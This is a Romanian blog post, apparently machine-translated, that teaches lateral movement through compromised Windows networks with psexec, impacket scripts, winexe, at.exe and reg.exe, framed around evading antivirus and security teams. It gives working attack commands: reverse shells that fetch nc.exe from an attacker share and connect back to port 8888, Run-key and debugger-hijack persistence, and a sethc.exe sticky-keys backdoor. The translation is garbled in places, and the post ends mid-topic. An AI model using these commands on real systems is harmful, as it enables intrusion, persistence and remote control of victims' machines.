Header Ads

Seo Services

Ghid lateral din toate părțile

Pătrunderea în rețeaua atacată este doar prima etapă a hackingului. În a doua etapă, trebuie să câștigați un punct de sprijin în acesta, să obțineți conturi de utilizator și să oferiți posibilitatea de a rula cod arbitrar. În articolul de astăzi vom vorbi despre metodele de realizare a acestui obiectiv, precum și despre modul în care se efectuează mișcarea laterală într-o rețea compromisă.

După ce ați pătruns în perimetrul extern și ați intrat în rețeaua internă a companiei, trebuie să vă extindeți prezența în el dacă doriți să găsiți ceva interesant acolo. În mod ciudat, cu cât este mai mare rețeaua internă a unei companii, cu atât este mai ușor să hack. În schimb, dacă compania este foarte mică, rețeaua este uneori extrem de dificil de piratat. De ce este asta? Cu cât rețeaua este mai mare, cu atât componentele sunt mai vulnerabile sau mai puțin configurate. În același timp, compromisul unui nod implică adesea compromiterea unei multitudini de noduri adiacente simultan.

Rețelele interne sunt de obicei dominate de servere și stații de lucru Windows. În același timp, acest sistem de operare este cel mai interesant din punct de vedere al metodelor de compromis, deoarece implicit are multe interfețe pentru executarea codului la distanță. În plus, un atacator are o mare varietate de moduri de a extrage acreditări. Nu voi atinge mișcarea laterală a serverelor Linux: acestea sunt rareori incluse în domeniu și nu au o astfel de varietate de interfețe implicite pentru administrarea de la distanță. Când vă deplasați lateral, Linux este interesant în principal ca un punct de sprijin convenabil.

Mișcarea laterală implică executarea legitimă a codului de la distanță. Adică, toate metodele prezentate în articol implică prezența unui cont valid pentru un anumit computer. Acest lucru va necesita aproape întotdeauna un cont administrativ.

Sarcina principală atunci când vă deplasați lateral este să atrageți cât mai puțină atenție din partea utilizatorilor și a serviciilor de securitate și, de asemenea, să încercați să nu alarmați mijloacele de protecție antivirus. Este cel mai eficient să utilizați instrumentele standard ale sistemului de operare, adică absolut legitime și nedistinguibile de acțiunile administratorilor de rețea obișnuiți.

Nu vom discuta despre principalele vulnerabilități Windows, atacurile asupra rețelelor locale și modalitățile de ridicare a privilegiilor într-un mediu Active Directory. În schimb, să vorbim exclusiv despre lucruri legale: în ce colțuri ascunse ale Windows puteți găsi conturi și ce să faceți cu ele mai târziu. Toate metodele prezentate mai jos nu sunt considerate vulnerabilități, dar sunt trucuri prin proiectare, prin urmare, cu o executare corectă, acestea sunt proceduri complet legale.

Toate exemplele se bazează pe situații din viața reală care pot fi întâlnite în timpul navigării în rețelele interne din viața reală. Prin urmare, ca de obicei, vom aborda problema mișcării celei mai liniștite cu posibilitatea de a ocoli antivirusurile și ne vom concentra și asupra porturilor de rețea de care avem nevoie pentru asta.

STRATEGIA DE MIȘCARE LATERALĂ

Deci, mișcarea laterală este o combinație simultană a două tehnici:

executarea autentificată a codului de la distanță;

extragerea informațiilor secrete după ce ai acces.

Repetarea ciclică, secvențială a acestor pași permite uneori de la un singur computer compromis să ajungă la un compromis complet al întregii infrastructuri de rețea. De obicei, mișcarea laterală, ca orice altă mișcare, are unul dintre următoarele obiective:

preluarea controlului controlerelor de domeniu;

realizarea unor segmente de rețea critice izolate (de exemplu, APCS, SWIFT);

căutați informații critice pe un computer (documente secrete, detalii de plată etc.).

Cu toate acestea, pentru a atinge oricare dintre aceste obiective, sunt necesare mai multe acreditări pentru ca un atacator să poată naviga în rețea și să aibă acces la tot mai multe computere. Trecerea prin rețeaua internă este rareori completă fără a lua un controler de domeniu, deoarece preluarea unui domeniu înseamnă obținerea automată a accesului la aproape fiecare gazdă din rețea. În ceea ce privește vânătoarea de administratori, atunci când ajungeți la controlerul de domeniu, s-ar putea să păreați că găsirea conturilor privilegiate este o ghicire oarbă. Dar, de fapt, infrastructura Active Directory și Windows în sine dezvăluie suficiente informații unui simplu utilizator de domeniu, permițându-le deseori să calculeze direcția dorită de promovare și să planifice un lanț precis de mai multe etape de hacking chiar la începutul mișcării laterale.

După preluarea controlerelor de domeniu, uneori este necesar să treceți mai departe - la un anumit segment special protejat, care este obiectul „riscului de afaceri”. Acesta poate fi un segment ICS, interferențe în procesul tehnologic, acces la segmentul SWIFT, dacă avem de-a face cu bănci, sau pur și simplu acces la computerul CEO-ului. În fiecare caz, ne putem confrunta cu diferite dificultăți de mișcare laterală, care vor fi discutate mai jos.

EXECUTAREA CODULUI DE LA DISTANȚĂ ÎN WINDOWS

Să luăm în considerare mai multe moduri de a executa de la distanță codul în Windows folosind un cont. Unele instrumente oferă un mod interactiv convenabil, iar altele execută comenzi doar orbește fără a obține un rezultat. Să începem prezentarea generală cu cele mai convenabile și utilizate pe scară largă instrumente și să trecem treptat la mai puțin popular, dar totuși capabil să execute cod.

Unele dintre instrumente încarcă fișierul executabil al serviciului pe țintă, încercând să ne ofere un mod interactiv convenabil. Dar aici se află pericolul: astfel de servicii vor fi adesea blocate de antivirus. În plus, IP-ul atacatorului poate fi blocat, ceea ce va încetini mișcarea. Și SOC află că cineva a pătruns în rețea.

Vom face cea mai mare parte a mișcării laterale cu pachetul minunat impacket Python. Pentru ao instala, trebuie să rulați pip install impacket. După instalare, executabilele necesare vor fi amplasate în folderul impacket / examples, a cărui locație va fi solicitată de comanda pip show -f impacket.

MSRPC

Aceasta este implementarea de către Microsoft a DCERPC. În esență, extinde DCERPC-ul open source cu acces de țeavă numit folosind protocolul SMB. Folosește în principal portul TCP 445. Modulul auxiliar / scanner / smb / pipe_auditor va ajuta la listarea conductelor disponibile în dicționar pe SMB.

psexec.exe

  • Origine: sysinternals
  • Risc AV: nici unul
  • Porturi utilizate: 135, 445, 4915x / TCP

Când începem să vorbim despre execuția codului la distanță în Windows, trebuie să menționăm cunoscutul psexec de la Mark Russinovich. Acest program este la fel de popular printre administratori și pentesteri. Principiul funcționării sale este copierea unui fișier executabil prin resursa de rețea „ADMIN $” (445 / TCP) cu crearea ulterioară de la distanță și pornirea serviciului pentru acest fișier executabil prin DCERPC (135.4915x / TCP). După pornirea serviciului, are loc o rețea normală cu linia de comandă la distanță:

psexec.exe -u admin \\ target cmd

Principalul plus pentru noi este că componenta server psexecsvc.exe este semnată cu certificatul Sysinternals (care aparține Microsoft) și, prin urmare, este un program 100% legitim. De asemenea, unul dintre avantajele clare ale psexec.exe clasic este capacitatea de a executa cod în sesiuni de utilizator specificate:

psexec.exe -u admin -i 2 \\ target shutdown / l

psexec.py

  • Origine: impachetarea pachetului Python
  • Risc AV: da
  • Porturi utilizate: 445 / TCP

O alternativă excelentă pentru utilizatorii de Linux. Cu toate acestea, acest instrument va declanșa aproape sigur alarma antivirus. După cum sa spus, este vorba despre serviciul care este copiat pe gazda la distanță. Acest lucru poate fi remediat prin specificarea unei comenzi arbitrare în implementarea metodei createService () în /usr/local/lib/python3.7/dist-packages/impacket/examples/serviceinstall.py, care va fi executată în loc să fie pornit serviciul de administrare la distanță.

Puteți utiliza o comandă arbitrară pentru a ascunde începutul serviciului de administrare la distanță. Utilizând o comandă arbitrară, puteți ascunde începutul serviciului de administrare la distanță.

Pentru a împiedica psexec.py să copieze componenta pal, specificăm cu forță ce fișier să utilizați ca serviciu. Și, deoarece am scris deja manual comanda, acest fișier poate fi orice:

psexec.py -file somefile.txt admin @ target

Astfel, am executat direct comanda mkdir c: \ pwn, care, desigur, nu va provoca o reacție din software-ul antivirus. Cu toate acestea, o astfel de modificare a psexec ne privează de utilitatea care a fost inițial.

winexe

  • Origine: pachet winexe
  • Risc AV: da
  • Porturi utilizate: 445 / TCP

Cel mai vechi omolog nativ Linux al psexec. Ca și psexec, deschide o linie de comandă interactivă la distanță:

winexe -U admin // target cmd

În general, este complet identic cu alte instrumente similare, dar mai rar detectat de software-ul antivirus. Cu toate acestea, winexe nu se poate spune că este 100% sigur. Cu toate acestea, poate fi folosit ca rețea de siguranță în cazul în care psexec.py eșuează brusc.

smbexec.py

  • Origine: pachet impacket Python / componentă încorporată Windows
  • Risc AV: da
  • Porturi utilizate: 445 / TCP

O versiune simplificată a psexec, care creează și un serviciu, este utilizată exclusiv de MSRPC, iar accesul la gestionarea serviciului este aranjat prin conducta SMC svcctl:

smbexec.py -mode SHARE admin @ target

Aceasta va deschide accesul la linia de comandă interactivă.

services.py

  • Origine: impachetarea pachetului Python
  • Risc AV: nici unul
  • Porturi utilizate: 445 / TCP

Un psexec chiar mai simplificat. Se presupune că noi înșine facem ceea ce face psexec pentru noi. Folosind services.py, putem vedea lista serviciilor:

services.py admin @ lista de ținte

Creați un serviciu nou prin specificarea unei comenzi arbitrare:

services.py admin @ target create -name 1 -display 1 -path 'cmd arg1 arg2'

Porniți serviciul nou creat:

services.py admin @ target start -name 1

Măturați urmele și îndepărtați-le:

services.py admin @ target delete -name 1

Toate acestea ne oferă un alt mod de executare orbitor neinteractivă a comenzilor, adică fără rezultat. Dar aceasta este o modalitate sigură sută la sută și m-a ajutat de mai multe ori când antivirusurile de pe o gazdă la distanță au ucis tot software-ul din stânga.

atexec.py/at.exe

  • Origine: pachet impacket Python / componentă încorporată Windows
  • Risc AV: nici unul
  • Porturi utilizate: 445 / TCP

Windows Task Scheduler Service, accesibil prin conducta sms atsvc. Vă permite să plasați de la distanță o activitate în planificator care va fi executată la un moment specificat.

În ambele cazuri, nu este un instrument interactiv de executare a codului la distanță. Când se utilizează at.exe, comenzile sunt executate orbește:

at.exe \\ target 13:37 "cmd / c copy \\ atacator \ a \ nc.exe && nc -e \ windows \ system32 \ cmd.exe atacator 8888"

Dar pentru atexec.py comanda va fi executată cu rezultatul:

atexec.py admin @ target ipconfig

Singura diferență este că rezultatul comenzii va fi trimis într-un fișier și citit prin partajarea de rețea ADMIN $. Pentru funcționarea sa, instrumentul necesită ca ceasul atacatorului și al țintei să fie setate la aceeași oră cu o precizie a minutului.

reg.exe

  • Origine: componentă Windows
  • Risc AV: nici unul
  • Porturi utilizate: 445 / TCP

Accesul la scriere la distanță la registru ne este de fapt dat de RCE. Instrumentul necesită conducta winreg SMB pentru funcționarea sa. În mod implicit, serviciul de registry la distanță rulează numai pe sistemele de operare server Windows 2003–2019. Și iată un faimos truc de încărcare automată (RCE amânat):

reg.exe add \\ target \ HKLM \ software \ microsoft \ windows \ currentversion \ run / v testprog / t REG_SZ / d "cmd / c copy \\ atacator \ a \ nc.exe && nc -e \ windows \ system32 \ atacator cmd.exe 8888 "

Aici se folosește gestionarul de pornire a programului. Dacă programul este lansat frecvent pe un PC, vom obține un RCE aproape instantaneu:

reg.exe adăugați „\\ target \ HKLM \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ chrome.exe” / v Debugger / t reg_sz / d ”cmd / c copy \\ attacker \ a \ nc. exe && nc -e \ windows \ system32 \ cmd.exe atacator 8888 "

Trucul meu preferat pentru backdoor RDP:

reg.exe adăugați „\\ target \ HKLM \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Image File Execution Options \ sethc.exe" / v Debugger / t reg_sz / d "\ windows \ system32 \ cmd.exe"


Niciun comentariu:

Un produs Blogger.